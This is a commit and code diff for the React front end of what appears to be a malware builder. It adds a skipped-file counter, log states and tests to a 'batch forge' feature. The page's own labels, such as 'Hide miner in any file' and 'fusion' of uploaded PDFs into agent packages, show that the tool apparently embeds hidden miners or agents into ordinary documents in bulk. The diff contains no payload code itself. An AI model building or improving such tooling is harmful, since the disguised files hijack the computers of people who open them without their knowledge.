Add batch forge per-file skipped counter UI and tests.

Batch fusion now skips preflight/build failures per file, shows skipped count in progress header and log, and documents coverage by removing the deferred PROBLEMS row.

server/web/src/pages/BuilderPage.test.tsx

@@ -611,6 +611,79 @@ describe('BuilderPage', () => {
     expect(screen.getByText(/1\/2 — cancelled/i)).toBeInTheDocument();
   });
 
+  it('skips per-file build failures and shows skipped counter in batch progress', async () => {
+    const user = userEvent.setup();
+    const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) => {
+      if (file?.name === 'bad.pdf') {
+        return { success: false, error: 'Payload too large for fusion stub' };
+      }
+      return successfulBuild({
+        fusion_enabled: true,
+        bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
+        fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
+      });
+    });
+    vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
+      ok: true,
+      json: async () => ({ stage: 'Packaging', pct: 90 }),
+    }));
+
+    renderBuilder();
+    await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
+    await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
+
+    fireEvent.change(fusionBatchFileInput(), {
+      target: { files: [mockFusionFile('bad.pdf'), mockFusionFile('good.pdf')] },
+    });
+    await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
+
+    await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(2));
+    expect(await screen.findByText(/Batch forged 1 file\(s\) · 1 skipped/i)).toBeInTheDocument();
+    expect(screen.getByText(/bad\.pdf — Payload too large for fusion stub/i)).toBeInTheDocument();
+    expect(screen.getByText(/2\/2 — done · 1 skipped/i)).toBeInTheDocument();
+    expect(screen.getByText(/good\.pdf — Saved → fusion-deliverables\/good\.pdf/i)).toBeInTheDocument();
+  });
+
+  it('skips per-file preflight failures without aborting the batch', async () => {
+    const user = userEvent.setup();
+    const forgeValidation = await import('../help/forgeValidation');
+    const { runForgePreflight: realPreflight } = await vi.importActual<
+      typeof import('../help/forgeValidation')
+    >('../help/forgeValidation');
+    const preflightSpy = vi.spyOn(forgeValidation, 'runForgePreflight').mockImplementation((form, fusion) => {
+      if (form.fusion_media_base_name === 'blocked.pdf') {
+        return [{ id: 'fusion', level: 'error', message: 'Fusion media exceeds size cap' }];
+      }
+      return realPreflight(form, fusion);
+    });
+    const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>
+      successfulBuild({
+        fusion_enabled: true,
+        bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
+        fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
+      }),
+    );
+    vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
+      ok: true,
+      json: async () => ({ stage: 'Packaging', pct: 90 }),
+    }));
+
+    renderBuilder();
+    await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
+    await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
+
+    fireEvent.change(fusionBatchFileInput(), {
+      target: { files: [mockFusionFile('blocked.pdf'), mockFusionFile('allowed.pdf')] },
+    });
+    await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
+
+    await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(1));
+    expect(buildSpy.mock.calls[0][1]?.name).toBe('allowed.pdf');
+    expect(await screen.findByText(/blocked\.pdf — Fusion media exceeds size cap/i)).toBeInTheDocument();
+    expect(screen.getByText(/2\/2 — done · 1 skipped/i)).toBeInTheDocument();
+    preflightSpy.mockRestore();
+  });
+
   it('clears fusion batch queue after successful batch forge', async () => {
     const user = userEvent.setup();
     vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>

server/web/src/pages/BuilderPage.tsx

@@ -155,7 +155,8 @@ export default function BuilderPage() {
     fileName: string;
     phase: string;
     percent: number;
-    log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail'; detail?: string }[];
+    skipped: number;
+    log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail' | 'skipped'; detail?: string }[];
   } | null>(null);
   const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
   const [estimateLoading, setEstimateLoading] = useState(false);
@@ -602,8 +603,9 @@ export default function BuilderPage() {
     setBuilding(true);
     const total = fusionBatchFiles.length;
     const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
-    setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, log });
+    setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, skipped: 0, log });
     let ok = 0;
+    let skipped = 0;
     try {
       for (let i = 0; i < total; i++) {
         if (batchCancelRef.current) {
@@ -642,13 +644,44 @@ export default function BuilderPage() {
         });
         const checks = runForgePreflight(req, true);
         if (preflightHasErrors(checks)) {
-          throw new Error(`Preflight failed for ${file.name}`);
+          const reason = checks.find((c) => c.level === 'error')?.message ?? 'Preflight failed';
+          skipped++;
+          setBatchJob((j) =>
+            j
+              ? {
+                  ...j,
+                  skipped,
+                  fileName: '',
+                  log: j.log.map((row, idx) =>
+                    idx === i ? { ...row, status: 'skipped', detail: reason } : row
+                  ),
+                }
+              : j
+          );
+          continue;
         }
         const batchToken = crypto.randomUUID();
         cancelTokenRef.current = batchToken;
         const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file);
         cancelTokenRef.current = '';
-        if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
+        if (!result.success) {
+          skipped++;
+          setBatchJob((j) =>
+            j
+              ? {
+                  ...j,
+                  skipped,
+                  fileName: '',
+                  log: j.log.map((row, idx) =>
+                    idx === i
+                      ? { ...row, status: 'skipped', detail: result.error || 'Build failed' }
+                      : row
+                  ),
+                }
+              : j
+          );
+          continue;
+        }
         setBatchJob((j) =>
           j
             ? {
@@ -682,10 +715,13 @@ export default function BuilderPage() {
         );
       }
       if (!batchCancelRef.current) {
-        setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j));
-        setBlueprintMsg(`✅ Batch forged ${ok} file(s) — one universal ZIP per file in fusion-deliverables/`);
+        setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '', skipped } : j));
+        const skipNote = skipped > 0 ? ` · ${skipped} skipped` : '';
+        setBlueprintMsg(
+          `✅ Batch forged ${ok} file(s)${skipNote} — one universal ZIP per file in fusion-deliverables/`
+        );
         setTimeout(() => setBlueprintMsg(''), 6000);
-        setFusionBatchFiles([]);
+        if (ok > 0) setFusionBatchFiles([]);
       }
     } catch (err: unknown) {
       const msg = err instanceof Error ? err.message : 'Batch forge failed';
@@ -2503,6 +2539,7 @@ export default function BuilderPage() {
                           <span className="font-tech">BATCH FORGE</span>
                           <span>
                             {batchJob.current}/{batchJob.total} — {batchJob.phase}
+                            {batchJob.skipped > 0 ? ` · ${batchJob.skipped} skipped` : ''}
                           </span>
                         </div>
                         <div className="batch-progress-track">
@@ -2520,7 +2557,15 @@ export default function BuilderPage() {
                           {batchJob.log.map((row) => (
                             <li key={row.name} className={`batch-log-${row.status}`}>
                               <span className="batch-log-icon">
-                                {row.status === 'ok' ? '✓' : row.status === 'fail' ? '✕' : row.status === 'active' ? '…' : '○'}
+                                {row.status === 'ok'
+                                  ? '✓'
+                                  : row.status === 'fail'
+                                    ? '✕'
+                                    : row.status === 'skipped'
+                                      ? '—'
+                                      : row.status === 'active'
+                                        ? '…'
+                                        : '○'}
                               </span>
                               <span>
                                 {row.name}

server/web/src/pages/Pages.css

@@ -1509,6 +1509,11 @@ button.deliverable-card .form-hint {
   color: var(--neon-red, #f55);
 }
 
+.batch-forge-log li.batch-log-skipped {
+  color: var(--text-secondary);
+  opacity: 0.85;
+}
+
 .download-actions {
   display: flex;
   flex-wrap: wrap;